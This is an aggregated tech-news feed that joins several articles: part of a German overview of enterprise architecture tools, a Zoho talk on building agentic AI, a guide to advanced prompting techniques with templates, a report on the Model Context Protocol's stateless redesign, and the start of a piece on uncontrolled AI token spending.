<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
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<title><![CDATA[AI, Mind Reading and Microchip Brain Implants]]></title>
<description><![CDATA[How neurotech advancements and new state laws are shaping the future of human-machine interfaces.]]></description>
<link>https://tsecurity.de/de/3694404/it-security-nachrichten/ai-mind-reading-and-microchip-brain-implants/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694404/it-security-nachrichten/ai-mind-reading-and-microchip-brain-implants/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How neurotech advancements and new state laws are shaping the future of human-machine interfaces.]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



